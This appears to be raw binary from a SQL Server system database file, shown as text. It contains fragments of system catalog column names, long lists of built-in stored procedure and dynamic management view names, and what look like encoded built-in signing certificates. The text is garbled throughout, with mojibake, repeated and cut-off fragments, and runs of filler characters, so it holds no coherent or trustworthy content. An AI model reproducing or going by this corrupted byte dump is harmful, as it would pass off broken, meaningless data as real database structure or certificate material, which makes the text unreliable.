Gserver_id0-$4=name0-$4Cproduct0-$4Eprovider0-$@@Kdata_source0-$@@Elocation0-$@@Sprovider_string0-$4Ccatalog0-$	88
Sconnect_timeout0-$
88
Oquery_timeout0-$hhGis_linked0-$hhcis_remote_login_enabled0-$
hhYis_rpc_out_enabled0-$hhais_data_access_enabled0-$hhcis_collation_compatible0-$hh_uses_remote_collation0-$Qcollation_name0-$hhalazy_schema_validation0-$hhGis_system0-$hhMis_publisher0-$hhOis_subscriber0-$hhQis_distributor0-$hh]is_nonsql_subscriber0-$hhis_remote_proc_transaction_promotion_enabled0-$==Kmodify_date0-#88
Gserver_id0-#4Kremote_name0-#88
Ylocal_principal_id0-#==Kmodify_date0-"88
Gserver_id0-"88
Ylocal_principal_id0-"hh]uses_self_credential0-"4Kremote_name0-"==Kmodify_date0-!4=name0-!88
Mprincipal_id0-!UU;sid0-!=type0-!xxGtype_desc0-!hhKis_disabled0-!==Kcreate_date0-!==Kmodify_date0-!	4_default_database_name0-!
4_default_language_name0-!88
Ocredential_id0-!hhWis_policy_checked0-!
hh_is_expiration_checked0-!Opassword_hashl_id0-'UU;sid0-'=type0-'xxGtype_desc0-'hhKis_disabled0-'==Kcreate_date0-'==Kmodify_date0-'	4_default_database_name0-'
4_default_language_name0-'88
Ocredential_id0-'88
[owning_principal_id0-'
hhOis_fixed_role0-&88
Wrole_principal_id0-&88
[member_principal_id0-%00?class0-%xxIclass_desc0-%88
Emajor_id0-%88
Eminor_id0-%88
]grantee_principal_id0-%88
]grantor_principal_id0-%=type0-%Spermission_name0-%	?state0-%
xxIstate_desc0-$88
Gserver_id0-$4=name0-$4Cproduct0-$4Eprovider0-$@@Kdata_source0-$@@Elocation0-$@@Sprovider_string0-$4Ccatalog0-$	88U

X

cP

3
		J		o$_t-`c- ?39f'Xu,Mz5`-&)|
,3-0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-88
=port0-hhSis_dynamic_port0-
--Iip_address0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-=site0-@@Eurl_path0-
hh_is_clear_port_enabled0-88
Iclear_port0-hh[is_ssl_port_enabled0-88
Essl_port0-hh]is_anonymous_enabled0-hh_is_basic_auth_enabled0-hhais_digest_auth_enabled0-hheis_kerberos_auth_enabled0-hh]is_ntlm_auth_enabled0-hhiis_integrated_auth_enabled0-4[authorization_realm0-4]default_logon_domain0-hhais_compression_enabled!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>
z

	W	VSz1nBi,Mz5`M
	m"TOK&y2ServiceBrokerQueue&>K services$&Dservices&*soap_endpoints&Y2sp_addextendedproc&BLsp_AddFunctionalUnitToComponent&VJ:sp_addextendedproperty&B.sp_addrolemember&a`"sp_adduser&="sp_addrole&_(sp_addapprole&2sp_approlepassword&>"sp_addtype&K&sp_attach_db&?>sp_attach_single_file_db&Jsp_add_file_recover_suspect_db&ERsp_add_log_file_recover_suspect_db&%Tsp_add_data_file_recover_suspect_db&$,sp_addumpdevice&)t(sp_bindefault&J|$sp_bindrule&=P&sp_autostats&*sp_bindsession&ȳcHsp_begin_parallel_nested_tran&eyZsp_availability_group_command_internal&}Xs*sp_audit_write&4sp_addsrvrolemember&tľ$sp_addlogin&'(K2sp_addlinkedserver&r&sp_addserver&0sp_addremotelogin&w6sp_addlinkedsrvlogin&QVV(sp_addmessage&,sp_altermessage&_n$sp_catalogs&xc2sp_catalogs_rowset&4sp_catalogs_rowset2&:sp_catalogs_rowset_rmt&/2sp_bcp_dbcmptlevel&k6sp_assemblies_rowset&8sp_assemblies_rowset2&rS>sp_assemblies_rowset_rmt&Lsp_assembly_dependencies_rowset&,Nsp_assembly_dependencies_rowset2&HTsp_assembly_dependencies_rowset_rmt&]:sp_addpullsubscription&Fsp_addpullsubscription_agent&Dsp_addmergepullsubscription&$Psp_addmergepullsubscription_agent&I6sp_addqueued_artinfo&V2sp_addsynctriggers&:sp_addsynctriggerscore&Fsp_browsemergesnapshotfolder&
<sp_browsesnapshotfolder&
`8sp_attachsubscription&TLsp_adjustpublisheridentityrange&.sp_addscriptexec&c6sp_add_agent_profile&i<sp_add_datatype_mapping&F:sp_add_agent_parameter&CBsp_addpublication_snapshot&{5
.sp_addsubscriber&@sp_addsubscriber_schedule&7r0sp_adddistributor&~a6sp_adddistributiondb&$M4sp_adddistpublisher&W.*sp_adddatatype&us8sp_adddatatypemapping&!0sp_addpublication&.sp_articlecolumn&91.sp_articlefilter&=*sp_articleview&t(sp_addarticle&Z2sp_addsubscription&Q<sp_articlesynctranprocs&Z0sp_browsereplcmds& 8sp_article_validation&o8sp_addlogreader_agent&;Fsp_addpushsubscription_agent&NJ4sp_addqreader_agent&iVsp_add_log_shipping_primary_database&
YXsp_add_log_shipping_primary_secondary&Xsp_add_log_shipping_secondary_primary&5Zsp_add_log_shipping_secondary_database&Hsp_add_log_shipping_alert_job&ܻZsp_add_log_shipping_alert_job_internal&eD:sp_can_tlog_be_applied&zPsp_cdc_add_capture_instance_entry&VJsp_cdc_add_index_columns_entry&rDsp_cdc_add_captured_columns&n=Fsp_cdc_cleanup_change_tables&ZVsp_cdc_cleanup_change_table_internal&U<Dsp_cdc_cleanup_change_table&<sp_cdc_add_job_internal&_X*sp_cdc_add_job&tBsp_cdc_change_job_internal&/m[0sp_cdc_change_job&dBsp_cdc_change_data_capture&M@<sp_cdc_captured_columns&D2sp_addmergearticle&_:sp_addmergepublication&t:sp_addmergelogsettings&W%<sp_addmergesubscription&E0sp_addmergefilter&18sp_addtabletocontents&Hsp_addmergealternatepublisher&".@sp_adddynamicsnapshot_job&Ɣ6sp_addmergepartition&Psp_addmergepushsubscription_agenteader_agent&;Fsp_addpushsubscription_agent&NJ4sp_addqreader_agent&Rφ:sp_changeqreader_agent&iVsp_add_log_shipping_primary_database&\sp_change_log_shipping_primary_database&
YXsp_add_log_shipping_primary_secondary&Xsp_add_log_shipping_secondary_primary&1^sp_change_log_shipping_secondary_primary&5Zsp_add_log_shipping_secondary_database&&`sp_change_log_shipping_secondary_database&Hsp_add_log_shipping_alert_job&ܻZsp_add_log_shipping_alert_job_internal&Tsp_check_log_shipping_monitor_alert&eD:sp_can_tlog_be_applied&+H$sp_cdc_scan&t)f@sp_cdc_get_job_parameters&Bsp_cdc_cleanup_job_entries&#@sp_cdc_ddl_event_internal&!:sp_cdc_logddl_internal&oV6sp_cdc_dbsnapshotLSN&zPsp_cdc_add_capture_instance_entry&VJsp_cdc_add_index_coluD>$`fH|,~8H l^.	VP"@L~


Z
>8
		
 F

L\zxh,x

.bz$0*Nl`j0Y5"0
f!Ip00?V {{^extended_properties00@V zzTdatabase_files00AV jkdconversation_endpoints00BV ~jj^conversation_groups00CV j2jfservice_contract_usages00DV hiHservices00EV hhvservice_contract_message_usages00FV ,hGhZservice_contracts00GV oggbservice_message_types00HV `ffZfulltext_catalogs00IV eefdestination_data_spaces00JV eeZpartition_schemes00KV -e7eLfilegroups00LV ddNdata_spaces00MV Zdrddpartition_range_values00NV cd`partition_parameters00OV cc^partition_functions00PV .cIc^assembly_references00QV bbTassembly_files00RV bbbLassemblies00SV V|^|`database_permissions00TV xxbdatabase_role_members00VV Kxkx^database_principals00WV vvFschemas00XV aaTassembly_types00YV ``Btypes00ZV 
``Xsql_dependencies00[V iiTservice_queues00\V -w@wHsynonyms00]V __rnumbered_procedure_parameters00^V <_R_^numbered_procedures00_V ]]Xassembly_modules00`V FFNsql_modules00aV [[Ttrigger_events00bV [[Devents00cV ZZ^event_notifications00dV YYHtriggers00eV Y/YLprocedures00fV XX^foreign_key_columns00gV HXlXPforeign_keys00hV WW^default_constraints00iV pWWZcheck_constraints00jV W#WVkey_constraints00kV JSmSdfulltext_index_columns00lV xRRXfulltext_indexes00mV QRRstats_columns00nV sQQBstats00oV MPZPRindex_columns00pV {{Xallocation_units00qV +{:{Lpartitions00rV MMNxml_indexes00sV M&MFindexes00tV LLXidentity_columns!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z.B4&
x
,
BH
x
0
		B	J<,htR:v`
m"|2Lrܘ&L$data_spaces&Hdatabase_audit_specifications&@*database_files&2database_mirroring&Fdatabase_mirroring_endpoints&*Fdatabase_mirroring_witnesses&S6database_permissions&V4database_principals&>database_recovery_status&T8database_role_members&+ databases&h4default_constraints&I<destination_data_spaces&UzFdm_db_persisted_sku_features&
Vdatabase_audit_specification_details&Ddatabase_filestream_options&ZDdm_database_encryption_keys&.dm_audit_actions&co<dm_audit_class_type_map&Vdm_cryptographic_provider_properties&Vdm_cryptographic_provider_algorithms&4BJdm_cryptographic_provider_keys&NRdm_cryptographic_provider_sessions&D
14dm_fts_memory_pools&G8dm_fts_memory_buffers&v:dm_fts_active_catalogs&k<dm_fts_index_population&~Xdm_fts_semantic_similarity_population& EBdm_fts_outstanding_batches&W*dm_fts_fdhosts&'>dm_fts_population_ranges&8dm_fts_index_keywords&|Pdm_fts_index_keywords_by_document&ZPdm_fts_index_keywords_by_property&I<$(dm_fts_parser&UpTFdm_exec_query_optimizer_info&
$Rdm_exec_query_transformation_stats&U}Fdm_exec_background_job_queue&Rdm_exec_background_job_queue_stats&g<dm_db_index_usage_stats&Ldm_db_missing_index_group_stats&vBdm_db_missing_index_groups&&Ddm_db_missing_index_columns&WQ)Ddm_db_missing_index_details&m:dm_db_stats_properties&:dm_db_task_space_usage&#st:dm_db_file_space_usage&Be@dm_db_session_space_usage&j8dm_db_log_space_usage&$(Hdm_db_index_operational_stats&+QBdm_db_index_physical_stats&|8dm_db_partition_stats&O3Jdm_db_fts_index_physical_stats&u4dm_exec_connections&nw4dm_exec_query_stats&NN<dm_exec_procedure_stats&	p8dm_exec_trigger_stats&@	.dm_exec_requests&	0.dm_exec_sessions&{iPdm_exec_query_resource_semaphores&xDdm_exec_query_memory_grants&5Ldm_db_database_page_allocations&0dm_clr_appdomains&>dm_clr_loaded_assemblies&V0dm_clr_properties&J&dm_clr_tasks&IFdm_db_mirroring_past_actions&"Ndm_db_mirroring_auto_page_repair&v>dm_hadr_auto_page_repair&Vu2dm_db_script_level&=Ldm_hadr_database_replica_states&:ndm_hadr_internal_database_synchronization_states&j\dm_hadr_database_replica_cluster_states&6!fdm_hadr_internal_availability_replica_states&Tdm_hadr_availability_replica_states&Íddm_hadr_availability_replica_cluster_states&Z)bdm_hadr_availability_replica_cluster_nodes&o)@dm_hadr_instance_node_map&"B>dm_hadr_cluster_networks&jFdm_hadr_internal_cluster_ags&opbdm_hadr_internal_availability_group_states&IPdm_hadr_availability_group_states&Hdm_hadr_internal_ag_listeners&єZdm_hadr_internal_ag_listener_addresses&O,dm_hadr_cluster&<dm_hadr_cluster_members&Nvdm_db_objects_disabled_on_compatibility_level_change&Pdm_exec_describe_first_result_set&Vȼfdm_exec_describe_first_result_set_for_object&V.dm_exec_sql_text&\2dm_exec_query_plan&]P<dm_exec_text_query_plan&J<dm_exec_plan_attributes&\6dm_exec_cached_plans&8cXdm_exec_cached_plan_dependent_objects&{Bdm_db_uncontained_entities&,dm_exec_cursors&0JDF__spt_value__statu__0EA330E9&M8dm_broker_connections&fDdm_db_mirroring_connections&>dm_broker_queue_monitors&{@dm_broker_activated_tasks&Fdm_broker_forwarded_messages& 4dm_exec_xml_handles*g*Jdm_filestream_file_io_requests*KHdm_filestream_file_io_handles*3\Vdm_filestream_non_transacted_handles&g*Jdm_filestream_file_io_requests&KHdm_filestream_file_io_handles&3\Vdm_filestream_non_transacted_handles&0(dm_cdc_errors&}>dm_cdc_log_scan_sessionsared_drives&4dm_os_cluster_nodes&m>dm_os_cluster_properties&ddm_os_server_diagnostics_log_configurations&=Ldm_hadr_database_replica_states&:ndm_hadr_internal_database_synchronization_states~r,HL B.4.fvf.x6n$	

PN\
	v	`@$

J

n
N
H
^^H>NvH\n(j`
a."d@
2a&i0check_constraints&8column_store_segments&!2column_type_usages&$Tcolumn_xml_schema_collection_usages&ycolumns&u.computed_columns& *configurations&G,configurations$&A:conversation_endpoints&<conversation_endpoints$&B4conversation_groups&&6conversation_groups$&$credentials&..crypt_properties&<cryptographic_providers&L$data_spaces&
Vdatabase_audit_specification_details&Hdatabase_audit_specifications&@*database_files&2database_mirroring&Fdatabase_mirroring_endpoints&*Fdatabase_mirroring_witnesses&S6database_permissions&V4database_principals&>database_recovery_status&T8database_role_members&+ databases&h4default_constraints&I<destination_data_spaces&@column_store_dictionaries&<conversation_priorities&Ddatabase_filestream_options&.dm_audit_actions&co<dm_audit_class_type_map&$50column_definition&0dm_clr_appdomains&>dm_clr_loaded_assemblies&V0dm_clr_properties&J&dm_clr_tasks&0JDF__spt_value__statu__0EA330E9&M8dm_broker_connections&>dm_broker_queue_monitors&{@dm_broker_activated_tasks&Fdm_broker_forwarded_messages&0(dm_cdc_errors&}>dm_cdc_log_scan_sessions&Vdm_cryptographic_provider_algorithms&4BJdm_cryptographic_provider_keys&NRdm_cryptographic_provider_sessions&$50column_definition&D
14dm_fts_memory_pools&G8dm_fts_memory_buffers&v:dm_fts_active_catalogs&k<dm_fts_index_population&~Xdm_fts_semantic_similarity_population& EBdm_fts_outstanding_batches&W*dm_fts_fdhosts&'>dm_fts_population_ranges&8dm_fts_index_keywords&|Pdm_fts_index_keywords_by_document&ZPdm_fts_index_keywords_by_property&I<$(dm_fts_parser&UpTFdm_exec_query_optimizer_info&y4dm_qn_subscriptions&
$Rdm_exec_query_transformation_stats&U}Fdm_exec_background_job_queue&Rdm_exec_background_job_queue_stats&g<dm_db_index_usage_stats&Ldm_db_missing_index_group_stats&vBdm_db_missing_index_groups&&Ddm_db_missing_index_columns&WQ)Ddm_db_missing_index_details&m:dm_db_stats_properties&:dm_db_task_space_usage&#st:dm_db_file_space_usage&Be@dm_db_session_space_usage&j8dm_db_log_space_usage&$(Hdm_db_index_operational_stats&+QBdm_db_index_physical_stats&|8dm_db_partition_stats&O3Jdm_db_fts_index_physical_stats&u4dm_exec_connections&]G:dm_tcp_listener_states&nw4dm_exec_query_stats&NN<dm_exec_procedure_stats&	p8dm_exec_trigger_stats&@	.dm_exec_requests&	0.dm_exec_sessions&{iPdm_exec_query_resource_semaphores&xDdm_exec_query_memory_grants&2dm_io_backup_tapes&46Ddm_tran_active_transactions&P|Hdm_tran_database_transactions&LSU@dm_io_pending_io_requests&5Ldm_db_database_page_allocations&D>dm_io_virtual_file_stats&qH>dm_os_buffer_descriptors&$dm_os_hosts&D0dm_os_latch_stats&G6dm_os_loaded_modules&緰>dm_os_memory_allocations&Jdm_os_memory_cache_clock_hands&[	Ddm_os_memory_cache_counters&Bdm_os_memory_cache_entries&|Jdm_os_memory_cache_hash_tables&_ 6dm_os_memory_objects&54dm_os_memory_clerks&ҁ2dm_os_memory_pools&]2dm_os_ring_buffers&.dm_os_schedulers&&dm_os_stacks&xQ.dm_os_sublatches&-*dm_os_sys_info&&$dm_os_tasks&|(dm_os_threads&Bdm_os_virtual_address_dump&h.dm_os_sys_memory&8~6dm_os_process_memory&q72dm_os_memory_nodes&6dm_os_memory_brokers&"Bdm_os_memory_broker_clerks&
$dm_os_nodes&56dm_os_spinlock_stats&oj:dm_os_dispatcher_pools&0dm_os_dispatchers&JJdm_os_memory_node_access_stats&2dm_os_volume_stats&B2dm_os_windows_info&c*dm_xe_packages&
(dm_xe_objects&Y6dm_xe_object_columns&Ddm_xe_session_event_actions&*W.dm_xe_map_values&0dm_clr_appdomains&>dm_clr_loaded_assemblies&V0dm_clr_properties&J&dm_clr_tasks&0JDF__spt_value__statu__0EA330E9&M8dm_broker_connectionn>
			T	d6:p<zH\ d(jNv`Y00" ]2k5F`00V fcryptographic_providers00V vresource_governor_configuration00
V }}`master_key_passwords00V kv{vhdatabase_recovery_status00V uv\database_mirroring00V ||Ncredentials00V ^^fserver_assembly_modules00V ;]H]\server_sql_modules00V \\bserver_trigger_events00V Z5ZVserver_triggers00V o0opdatabase_mirroring_endpoints00V T\a\Rserver_events00V ![9[lserver_event_notifications00V oo^endpoint_webmethods00V dnnhservice_broker_endpoints00V mmTsoap_endpoints00V #mGmRvia_endpoints00V llRtcp_endpoints00V %lAlThttp_endpoints00V ukkJendpoints00V g"gHmessages00 V GpYpTconfigurations00!V 9Lsql_logins00"V DZRlinked_logins00#V Rremote_logins00$V wFservers00%V ~~\server_permissions00&V v~~^server_role_members00'V 
~+~Zserver_principals00(V *z4zPmaster_files00)V {yyTbackup_devices00* V "y+ypdatabase_mirroring_witnesses00+V u6uJdatabases00V t|xresource_governor_resource_pools00V ]zresource_governor_workload_groups00,V <Lsysservers00-V Vsysremotelogins001V Rsysoledbusers002V MdNsysmessages<0V yoJsac_state00V bserver_event_sessions00V \nserver_event_session_events00V آpserver_event_session_targets00V @hpserver_event_session_actions00V ʣnserver_event_session_fields000V &Psysopentapes00/V 77Nsysperfinfo00.V FjJPsysprocesses00V ooJsac_stateriorities00S ))Jsysdbfrag00S v(x(Jsysfgfrag00S ))Lsysdbfiles00S ))Dsyspru00S !))Rsysbrickfiles00S w(y(Fsysphfg00S x(z(Nsysprufiles00S u(Jsysftinds00S 
S)Jsysowners00S ~))Hsysdbreg00S OOHsysprivs00"S s)Lsysschobjs00)S t(Lsyscolpars00*S 
))Hsysxlgns00+S 
))Hsysxsrvs00,S Jsysnsobjs00-S ))Nsysusermsgs00.S 
)Hsyscerts00/S ))Lsysrmtlgns000S ))Lsyslnklgns001S Jsysxprops002S 
EETsysscalartypes00V t|xresource_governor_resource_pools00V ]zresource_governor_workload_groups006V Psysdatabases00@V iNsysaltfiles00|V Tsysconstraints00tV Hsysusers00rV Rsysfilegroups00uV }Hsystypes00}V Tsysforeignkeys00zV Lsysindexes00yV Psysindexkeys00vV _Rsysreferences00~V Lsysdepends00sV JfLsysmembers00wV 
Nsysprotects00xV `mTsyspermissions00{V ϙ^sysfulltextcatalogs00qV 3RHsysfiles00V ҚNsyscomments003V qJsyslogins00,V <Lsysservers00-V Vsysremotelogins8Rn$6

2Rd8

04
<

>
		>	NhpV(p`<$Dtn`0PE"

l
~G003V qJsyslogins006V Psysdatabases00=V YttNsyscharsets00>V stPsyslanguages00@V iNsysaltfiles00iV [@[@Nsyscolumns$00jV ??\system_parameters$00kV ??Vsystem_columns$00qV 3RHsysfiles00rV Rsysfilegroups00sV JfLsysmembers00tV Hsysusers00uV }Hsystypes00vV _Rsysreferences00wV 
Nsysprotects00xV `mTsyspermissions00yV Psysindexkeys00zV Lsysindexes00{V ϙ^sysfulltextcatalogs00|V Tsysconstraints00}V Tsysforeignkeys00~V Lsysdepends00V ҚNsyscomments00V IIVall_sql_modules00V @ALsyscolumns00V g>>Lsysobjects00V aFFTall_parameters00V `FFNall_columns00V HHJall_views00V H
HNall_objects00S 
((Jsysrscols00S p)Lsysrowsets00S 	6)8)Jsysclones00S k(Rsysallocunits00S tUtUJsysfiles100	S ))Tsysseobjvalues00S ((Rsyspriorities00S ))Jsysdbfrag00S v(x(Jsysfgfrag00S ))Lsysdbfiles00S ))Dsyspru00S !))Rsysbrickfiles00S w(y(Fsysphfg00S x(z(Nsysprufiles00S u(Jsysftinds00S 
S)Jsysowners00S ~))Hsysdbreg00S OOHsysprivs00"S s)Lsysschobjs00)S t(Lsyscolpars00*S 
))Hsysxlgns00+S 
))Hsysxsrvs00,S Jsysnsobjs00-S ))Nsysusermsgs00.S 
)Hsyscerts00/S ))Lsysrmtlgns000S ))Lsyslnklgns001S Jsysxprops002S 
EETsysscalartypes00;V ƝRsyscurconfigs00<V (Rsysconfigures005V sLsysdevices00lV ggJobd_state004V Nsyslockinfo00?V ==Vsyscacheobjects009V >>Rsyscursorrefs008V >?Lsyscursors00:V E?d?Xsyscursorcolumns007V ??Vsyscursortables!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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+pg(@7E<w6an&_?CVф&!5&J$?RkCHs7*-׊*@?Wֺ
8#jjxODk"jÚ!ϟrK>e>'3x=#~J/⭆1ږvl{3{̥mRܵ]-
%w]1XtiQ~j]ש(X`R^gVo=8XTb'j@X00h2M9ZGT0
	*H
0K1I0GU@MS_SmoExtendedSigningCertificate0
121019215427Z
131019215427Z0K1I0GU@MS_SmoExtendedSigningCertificate00
	*H
0<x{`P7(z-6MPO#>?S$"P= +y|a:e9 I?qJincԈҟsaaՇ	Y%UAS0
	*H
ԭUVHVVY֡žyf,6pI^ƞu@ϸ\
5Uuu\VSp0Yܐgwm#_dEL;+%,ybtƦ0eNA6w`
 p##MS_SQLResourceSigningCertificate##0K1I0GU@MS_SQLResourceSigningCertificatewRGl rT_Tmpg(8p00Tr lGRw0
	*H
0K1I0GU@MS_SQLResourceSigningCertificate0
121019215425Z
131019215425Z0K1I0GU@MS_SQLResourceSigningCertificate00
	*H
0͍8M~ƸiW>H՛aD6Y	up70%Ҕw=%GXGh@#i{Cqll+kFJi no[](|CGS20
	*H
?Sls޼ߕ?@zpvm":\Q{Tc~}`;"=8!ȜBu}Pˏ4
?h>=M|^(SZh5wKlFr@+%0fNAhr
 v##MS_SQLReplicationSigningCertificate##0Q1O0MUFMS_SQLReplicationSigningCertificateA)dE|?]2cw!
;qPVbu0%0c2]?|Ed)A0
	*H
0Q1O0MUFMS_SQLReplicationSigningCertificate0
121019215426Z
131019215426Z0Q1O0MUFMS_SQLReplicationSigningCertificate00
	*H
0hȅ"+Xцm{f<XhE3x e@fT\Mʡ%q@͊Qd	~!PaTBCPiuϦS//
2U,4'&J1M-&>|*^0
	*H
)2/dE]Б1>Lf
V<-ף:#NI:lg}¶7OdVʉ,/]
,cf&>L{L`'[6+@ƩF}%0gNA
 l##MS_SQLAuthenticatorCertificate##0G1E0CU<MS_SQLAuthenticatorCertificate(HAF#$nDV_*Ё900z$#FAH(0
	*H
0G1E0CU<MS_SQLAuthenticatorCertificate0
121019215426Z
131019215426Z0G1E0CU<MS_SQLAuthenticatorCertificate00
	*H
0I0{{8Yj2 j߳F?]h!Tտؘ?VpWBlHvvoJf5
)^ySTTΛJb ss	`{$$l+lQ}K0
	*H
GcfЦ^)*_DLԵx:%rqN"a!٢W
͡4,E$T\oGǮ"T\ywY/k	06RlC	Ԣ%v.,0iNA
 f##MS_PolicySigningCertificate##0A1?0=U6MS_PolicySigningCertificate`[ӊLm*'5A
x%[,cEF200n5'*mΖL[`0
	*H
0A1?0=U6MS_PolicySigningCertificate0
121019215427Z
131019215427Z0A1?0=U6MS_PolicySigningCertificate00
	*H
0)4WlC~J9YdG3)u6a̐aVx~GS6]Xhˑ0n%Ң980
TNMlly%[=`To?.eX`/;
.0
	*H
+Ce֡y	/
LXfI\2̸pa{#P(H5s~x`aрo)lOT1áT}\~3Of@URt0jNA
 p##MS_SmoExtendedSigningCertificate##0K1I0GU@MS_SmoExtendedSigningCertificateTGZ9M2hc[~bCB +R00h2M9ZGT0
	*H
0K1I0GU@MS_SmoExtendedSigningCertificate0
121019215427Z
131019215427Z0K1I0GU@MS_SmoExtendedSigningCertificate00
	*H
0<x{`P7(z-6MPO#>?S$"P= +y|a:e9 I?qJincԈҟsaaՇ	Y%UAS0
	*H
ԭUVHVVY֡žyf,6pI^ƞu@ϸ\
5Uuu\VSp0Yܐgwm#_dEL;+%,ybtƦrtificate00
	*H
0<x{`P7(z-6MPO#>?S$"P= +y|a:e9 I?qJincԈҟsaaՇ	Y%UAS0
	*H
ԭUVHVVY֡žyf,6pI^ƞu@ϸ\
5Uuu\VSp0Yܐgwm#_dEL;+%,ybtƦ0eNA6w`
 p##MS_SQLResourceSigningCertificate##0K1I0GU@MS_SQLResourceSigningCertificatewRGl rT_Tmpg(8p00Tr lGRw0
	*H
0K1I0GU@MS_SQLResourceSigningCertificate0
121019215425Z
